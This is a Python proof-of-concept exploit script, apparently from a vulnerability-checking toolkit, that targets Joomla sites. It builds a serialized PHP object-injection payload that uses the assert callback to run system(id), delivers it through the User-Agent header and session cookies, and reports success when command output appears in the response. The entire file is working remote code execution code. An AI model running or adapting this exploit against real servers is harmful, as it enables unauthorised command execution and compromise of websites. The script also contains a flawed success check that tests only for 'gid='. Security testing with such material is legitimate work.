#!/usr/bin/env python
#-*- coding: utf-8 -*-

import requests
import sys
import re
import urllib
import time
from json_parse import Jsonparse


class joomla(object):
    def __init__(self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
        self.url = 'http://' + self.ip + ':'+ self.port


    def generator_payload(self):
        php_payload = 'system(id)'
        terminate = '\xf0\xfd\xfd\xfd';
        exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
        injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
        exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
        exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
        
        #print(exploit_template)
        return exploit_template

    def get_cookie(self):
        headers = {
            'User-Agent': self.generator_payload()
        }
        #print(headers)
        try:
            Cookie = requests.get(url= self.url, headers = headers, timeout = self.level).cookies
        except Exception as e:
            print(e)
            exit(-1)

        #print(Cookie)
        return Cookie
    
    def exploit(self):
        headers = headers = {
            'User-Agent': self.generator_payload()
        }
        cookies = self.get_cookie()
        for _ in range(2):
            r = requests.get(url = self.url , headers = headers, cookies = cookies)
        if "uid=" and "gid=" in r.text:
            print("yes")
            exit(233)
        else : 
            print("no")
            exit(1)


if __name__ == '__main__':
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout2']
    port = sys.argv[3]
    obj = joomla(targetip, port, timeout)
    obj.exploit()